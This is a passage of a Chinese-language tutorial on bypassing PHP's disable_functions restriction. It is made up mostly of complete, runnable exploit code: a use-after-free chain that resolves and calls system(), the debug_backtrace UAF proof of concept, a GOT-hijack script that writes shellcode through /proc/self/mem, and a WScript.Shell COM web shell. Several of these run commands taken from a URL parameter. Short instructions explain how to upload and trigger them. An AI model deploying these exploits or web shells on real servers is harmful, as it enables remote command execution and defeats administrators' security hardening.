# unable to leak ro segments
public function leak1($addr) {
global $spl1;

$this->write($this->abc, 8, $addr - 0x10);
return strlen(get_class($spl1));
}

# the real deal
public function leak2($addr, $p = 0, $s = 8) {
global $spl1, $fake_tbl_off;

# fake reference zval
$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)

$leak = strlen($spl1::$leak);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

return $leak;
}

public function parse_elf($base) {
$e_type = $this->leak2($base, 0x10, 2);

$e_phoff = $this->leak2($base, 0x20);
$e_phentsize = $this->leak2($base, 0x36, 2);
$e_phnum = $this->leak2($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = $this->leak2($header, 0, 4);
$p_flags = $this->leak2($header, 4, 4);
$p_vaddr = $this->leak2($header, 0x10);
$p_memsz = $this->leak2($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

public function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = $this->leak2($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = $this->leak2($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

public function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = $this->leak2($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

public function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->leak2($addr);
$f_name = $this->leak2($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return $this->leak2($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

public function jsonSerialize() {
global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = new DateInterval('PT1S');

$room = [];
for($i = 0; $i < $n_alloc; $i++)
$room[] = new Z();

$_protector = $this->ptr2str(0, 78);

$this->abc = $this->ptr2str(0, 79);
$p = new DateInterval('PT1S');

unset($y[0]);
unset($p);

$protector = ".$_protector";

$x = new DateInterval('PT1S');
$x->d = 0x2000;
$x->h = 0xdeadbeef;
# $this->abc is now of size 0x2000

if($this->str2ptr($this->abc) != 0xdeadbeef) {
die('UAF failed.');
}

$spl1 = new MySplFixedArray();
$spl2 = new MySplFixedArray();

# some leaks
$class_entry = $this->str2ptr($this->abc, 0x120);
$handlers = $this->str2ptr($this->abc, 0x128);
$php_heap = $this->str2ptr($this->abc, 0x1a8);
$abc_addr = $php_heap - 0x218;

# create a fake class_entry
$fake_obj = $abc_addr;
$this->write($this->abc, 0, 2); # type
$this->write($this->abc, 0x120, $abc_addr); # fake class_entry

# copy some of class_entry definition
for($i = 0; $i < 16; $i++) {
$this->write($this->abc, 0x10 + $i * 8,
$this->leak1($class_entry + 0x10 + $i * 8));
}

# fake static members table
$fake_tbl_off = 0x70 * 4 - 16;
$this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
$this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);

# fake zval_reference
$this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)

# look for binary base
$binary_leak = $this->leak2($handlers + 0x10);
if(!($base = $this->get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

# parse elf header
if(!($elf = $this->parse_elf($base))) {
die("Couldn't parse ELF");
}

# get basic_functions address
if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

# find system entry
if(!($zif_system = $this->get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# copy hashtable offsetGet bucket
$fake_bkt_off = 0x70 * 5 - 16;

$function_data = $this->str2ptr($this->abc, 0x50);
for($i = 0; $i < 4; $i++) {
$this->write($this->abc, $fake_bkt_off + $i * 8,
$this->leak2($function_data + 0x40 * 4, $i * 8));
}

# create a fake bucket
$fake_bkt_addr = $abc_addr + $fake_bkt_off;
$this->write($this->abc, 0x50, $fake_bkt_addr);
for($i = 0; $i < 3; $i++) {
$this->write($this->abc, 0x58 + $i * 4, 1, 4);
}

# copy bucket zval
$function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
for($i = 0; $i < 12; $i++) {
$this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8,
$this->leak2($function_zval, $i * 8));
}

# pwn
$this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
$this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);

$spl1->offsetGet($cmd);

exit();
}
}

$y = [new Z()];
json_encode([&$y]);

保存为php上传到/var/tmp 文件包含即可

Backtrace UAF

使用条件:

  • Linux 操作系统
  • PHP7.0 - all versions to date
  • PHP7.1 - all versions to date
  • PHP7.2 - all versions to date
  • PHP7.3 < 7.3.15 (released 20 Feb 2020)
  • PHP7.4 < 7.4.3 (released 20 Feb 2020)

攻击exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("uname -a");

function pwn($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);
exit();
}

antsword也有插件 labs可以复现这个漏洞

concat operation UAF

劫持got表

使用条件:

nginx-1.18下:php5.5,php5.4,php5.3,php5.2是可以的

php5.6及以上会出现 fopen(/proc/self/mem): failed to open stream: Permission denied

apache2.4下:php5.5,php5.4,php5.3是可以的

php5.6及以上会出现 fopen(/proc/self/mem): failed to open stream: Permission denied

概念以及攻击原理:

参考https://cloud.tencent.com/developer/article/2318123

1
2
3
4
5
6
7
8
在动态链接的情况下,程序加载的时候并不会把链接库中所有函数都一起加载进来,而是程序执行的时候按需加载,如果有函数并没有被调用,那么它就不会在程序生命中被加载进来。简单说就是,函数第一次用到的时候才会把在自己的真实地址给写到相应的got表里,没用到就不绑定了。这就是延迟绑定,由于这个机制,第一次调用函数的时候,got表中“存放”的地址不是函数的真实地址,而是plt 表中的第二条汇编指令,接下来会进行一系列操作装载相应的动态链接库,将函数的真实地址写在got表中。以后调用该函数时,got表保存着其真实地址。

这里劫持got表就是修改函数的got表的地址的内容为我们的shellcode的地址

step 1:通过php脚本解析/proc/self/exe得到open函数的got表的地址。
step 2:通过读取/proc/self/maps得到程序基地址,栈地址,与libc基地址。
step 3:通过php脚本解析libc得到system函数的地址,结合libc基地址(两者相加)可以得到system函数的实际地址。
step 4:通过读写/proc/self/mem实现修改open函数的got表的地址的内容为我们的shellcode的地址。向我们指定的shellcode的地址写入我们的shellcode。

exp(命令无回显,如果没有权限读写/proc/self/mem,自然也就无法利用了)

step1:通过php脚本解析/proc/self/exe得到open函数的got表的地址

step 2:通过读取/proc/self/maps得到程序基地址,栈地址,与libc基地址。

step 3:通过php脚本解析libc得到system函数的地址,结合libc基地址(两者相加)可以得到system函数的实际地址。

step 4:通过读写/proc/self/mem实现修改open函数的got表的地址的内容为我们的shellcode的地址。向我们指定的shellcode的地址写入我们的shellcode。

总而言之就是修改got表的地址,修改其为我们shellcode的地址。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
<?php /***
*
* BUG修正请联系我
* @author
* @email xiaozeend@pm.me *
*/
/*
section tables type
*/
define('SHT_NULL',0);
define('SHT_PROGBITS',1);
define('SHT_SYMTAB',2);
define('SHT_STRTAB',3);
define('SHT_RELA',4);
define('SHT_HASH',5);
define('SHT_DYNAMIC',6);
define('SHT_NOTE',7);
define('SHT_NOBITS',8);
define('SHT_REL',9);
define('SHT_SHLIB',10);
define('SHT_DNYSYM',11);
define('SHT_INIT_ARRAY',14);
define('SHT_FINI_ARRAY',15);
//why does section tables have so many fuck type
define('SHT_GNU_HASH',0x6ffffff6);
define('SHT_GNU_versym',0x6fffffff);
define('SHT_GNU_verneed',0x6ffffffe);


class elf{
private $elf_bin;
private $strtab_section=array();
private $rel_plt_section=array();
private $dynsym_section=array();
public $shared_librarys=array();
public $rel_plts=array();
public function getElfBin()
{
return $this->elf_bin;
}
public function setElfBin($elf_bin)
{
$this->elf_bin = fopen($elf_bin,"rb");
}
public function unp($value)
{
return hexdec(bin2hex(strrev($value)));
}
public function get($start,$len){

fseek($this->elf_bin,$start);
$data=fread ($this->elf_bin,$len);
rewind($this->elf_bin);
return $this->unp($data);
}
public function get_section($elf_bin=""){
if ($elf_bin){
$this->setElfBin($elf_bin);
}
$this->elf_shoff=$this->get(0x28,8);
$this->elf_shentsize=$this->get(0x3a,2);
$this->elf_shnum=$this->get(0x3c,2);
$this->elf_shstrndx=$this->get(0x3e,2);
for ($i=0;$i<$this->elf_shnum;$i+=1){
$sh_type=$this->get($this->elf_shoff+$i*$this->elf_shentsize+4,4);
switch ($sh_type){
case SHT_STRTAB:
$this->strtab_section[$i]=
array(
'strtab_offset'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+24,8),
'strtab_size'=>$this->strtab_size=$this->get($this->elf_shoff+$i*$this->elf_shentsize+32,8)
);
break;

case SHT_RELA:
$this->rel_plt_section[$i]=
array(
'rel_plt_offset'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+24,8),
'rel_plt_size'=>$this->strtab_size=$this->get($this->elf_shoff+$i*$this->elf_shentsize+32,8),
'rel_plt_entsize'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+56,8)
);
break;
case SHT_DNYSYM:
$this->dynsym_section[$i]=
array(
'dynsym_offset'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+24,8),
'dynsym_size'=>$this->strtab_size=$this->get($this->elf_shoff+$i*$this->elf_shentsize+32,8),
'dynsym_entsize'=>$this->get($this->elf_shoff+$i*$this->elf_shentsize+56,8)
);
break;

case SHT_NULL:
case SHT_PROGBITS:
case SHT_DYNAMIC:
case SHT_SYMTAB:
case SHT_NOBITS:
case SHT_NOTE:
case SHT_FINI_ARRAY:
case SHT_INIT_ARRAY:
case SHT_GNU_versym:
case SHT_GNU_HASH:
break;

default:
// echo "who knows what $sh_type this is? ";

}
}
}
public function get_reloc(){
$rel_plts=array();
$dynsym_section= reset($this->dynsym_section);
$strtab_section=reset($this->strtab_section);
foreach ($this->rel_plt_section as $rel_plt ){
for ($i=$rel_plt['rel_plt_offset'];$i<$rel_plt['rel_plt_offset']+$rel_plt['rel_plt_size'];$i+=$rel_plt['rel_plt_entsize'])
{
$rel_offset=$this->get($i,8);
$rel_info=$this->get($i+8,8)>>32;
$fun_name_offset=$this->get($dynsym_section['dynsym_offset']+$rel_info*$dynsym_section['dynsym_entsize'],4);
$fun_name_offset=$strtab_section['strtab_offset']+$fun_name_offset-1;
$fun_name='';
while ($this->get(++$fun_name_offset,1)!=""){
$fun_name.=chr($this->get($fun_name_offset,1));
}
$rel_plts[$fun_name]=$rel_offset;
}
}
$this->rel_plts=$rel_plts;
}
public function get_shared_library($elf_bin=""){
if ($elf_bin){
$this->setElfBin($elf_bin);
}
$shared_librarys=array();
$dynsym_section=reset($this->dynsym_section);
$strtab_section=reset($this->strtab_section);
for($i=$dynsym_section['dynsym_offset']+$dynsym_section['dynsym_entsize'];$i<$dynsym_section['dynsym_offset']+$dynsym_section['dynsym_size'];$i+=$dynsym_section['dynsym_entsize'])
{
$shared_library_offset=$this->get($i+8,8);
$fun_name_offset=$this->get($i,4);
$fun_name_offset=$fun_name_offset+$strtab_section['strtab_offset']-1;
$fun_name='';
while ($this->get(++$fun_name_offset,1)!=""){
$fun_name.=chr($this->get($fun_name_offset,1));
}
$shared_librarys[$fun_name]=$shared_library_offset;
}
$this->shared_librarys=$shared_librarys;
}
public function close(){
fclose($this->elf_bin);
}

public function __destruct()
{
$this->close();
}
public function packlli($value) {
$higher = ($value & 0xffffffff00000000) >> 32;
$lower = $value & 0x00000000ffffffff;
return pack('V2', $lower, $higher);
}
}
$test=new elf();
$test->get_section('/proc/self/exe');
$test->get_reloc(); // 获得各函数的got表的地址
$open_php=$test->rel_plts['open'];
$maps = file_get_contents('/proc/self/maps');
preg_match('/(\w+)-(\w+)\s+.+\[stack]/', $maps, $stack);
preg_match('/(\w+)-(\w+).*?libc-/',$maps,$libcgain);
$libc_base = "0x".$libcgain[1];
echo "Libc base: ".$libc_base."\n";
echo "Stack location: ".$stack[1]."\n";
$array_tmp = explode('-',$maps);
$pie_base = hexdec("0x".$array_tmp[0]);
echo "PIE base: ".$pie_base."\n";
$test2=new elf();
$test2->get_section('/usr/lib64/libc-2.17.so');
$test2->get_reloc();
$test2->get_shared_library(); // 解析libc库,得到libc库函数的相对地址
$sys = $test2->shared_librarys['system'];
$sys_addr = $sys + hexdec($libc_base);
echo "system addr:".$sys_addr."\n";
$mem = fopen('/proc/self/mem','wb');
$shellcode_loc = $pie_base + 0x2333;
fseek($mem,$open_php);
fwrite($mem,$test->packlli($shellcode_loc));
$command=$_GET['cmd']; // 我们要执行的命令
$stack=hexdec("0x".$stack[1]);
fseek($mem, $stack);
fwrite($mem, "{$command}\x00");
$cmd = $stack;
$shellcode = "H\xbf".$test->packlli($cmd)."H\xb8".$test->packlli($sys_addr)."P\xc3";
fseek($mem,$shellcode_loc);
fwrite($mem,$shellcode);
readfile('zxhy');
// highlight_file('zxhy');
// show_source('zxhy');
// file_get_contents('zxhy');
exit();

Windows 组件 COM

使用条件:

开启com.allow_dcom

创建一个COM对象,通过调用COM对象的exec替我们执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$wsh = isset($_GET['wsh']) ? $_GET['wsh'] : 'wscript';
if($wsh == 'wscript') {
$command = $_GET['cmd'];
$wshit = new COM('WScript.shell') or die("Create Wscript.Shell Failed!");
$exec = $wshit->exec("cmd /c".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
}
elseif($wsh == 'application') {
$command = $_GET['cmd'];
$wshit = new COM("Shell.Application") or die("Shell.Application Failed!");
$exec = $wshit->ShellExecute("cmd","/c ".$command);
}
else {
echo(0);
}
?>

上传访问执行命令即可